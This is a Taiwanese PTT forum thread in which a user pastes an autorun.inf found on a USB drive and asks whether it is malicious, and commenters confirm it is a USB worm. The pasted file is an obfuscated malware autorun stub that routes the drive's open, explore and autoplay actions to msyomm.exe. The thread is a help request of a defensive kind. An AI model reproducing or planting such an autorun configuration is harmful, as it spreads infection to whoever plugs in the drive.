作者Lo78 (20/5)*(8+6)
看板AntiVirus
標題[問題] 判斷這個autorun.inf是病毒還是正常
時間Mon Feb 8 01:43:52 2016
我的隨身碟有一個autorun.inf
打開以後 裡面是
[AutoRun]
;tJAbRgrKyXNmdnaNtkOPwe iejd flAiLTgqOjqj
opeN =msyomm.exe
;fxqRSkrsDbvlGWuhInKsWn QtPAcg
sheLl\opEn\comMAnd = msyomm.exe
;hqyVYXUsgpQoxDryuS rxsgGjgBhNQywqRaUimhjxGOajdwvw
sHeLl\eXplOre\COmmand= msyomm.exe
;UdaAvcnQPpkp peooIQFqIrysyEvIssh LyvymVEKoqruW ofQISlyolN
SheLL\OPeN\dEfaUlt=1
;vPrl
shelL\AutOPlaY\cOMmand = msyomm.exe
;OJyyG scaMicxjWuueuOPfcRltMo qXPaf
~~~~~~~~~~~~~~~~~
是不是中標了 > <
--
※ 發信站: 批踢踢實業坊(ptt.cc), 來自: 1.170.73.22
※ 文章網址: https://webptt.com/m.aspx?n=bbs/AntiVirus/M.1454867036.A.3EA.html
1F：→ brianuser: 不用判斷，一般隨身碟就是不會有這個 02/08 01:47
2F：推 jh961202: 有中毒，另外請找找看有沒有msyomm.exe這玩意，他是病毒 02/08 02:11
3F：→ Lo78: 有耶 砍掉了還是會出來 除非放一個同檔名唯獨檔 02/08 03:46
4F：→ brianuser: 那你就是中標ING的狀態 02/08 03:48
5F：推 XDDDD5566: 我之前插 02/08 04:58
6F：→ XDDDD5566: 隨身碟 諾頓也說已封鎖autorun 但是我的隨身碟是空的耶 02/08 04:58
7F：→ XDDDD5566: 怎摸會這樣 02/08 04:58
8F：→ fatstan: 有開顯示隱藏檔案嗎? 02/08 07:13
10F：→ XDDDD5566: 0.0 我之前用隨身別把舊電腦上的資料搬到新電腦上 02/08 07:40
11F：→ XDDDD5566: 有來這個版問過問題 在上面而已 0.0 怎摸半 02/08 07:41
12F：→ go1717: 建議關閉自動播放 但無法防止手賤去點XD 02/08 10:52
13F：→ Lo78: 我把之前學生版的WIN7灌在usb裡面來重灌 其他硬碟沒有格式 02/08 13:59
14F：→ Lo78: 化(還有很多重要的檔案)結果重灌WIN7 那個AUTORUN又跑出來 02/08 14:00
15F：→ Lo78: 好煩啊 02/08 14:00
16F：推 s109612044: 如果是win7以下搜尋efix並下載使用看看是否有效... 02/14 22:55
17F：→ s109612044: 另外，有插過此台電腦的隨身碟都要注意 02/14 22:57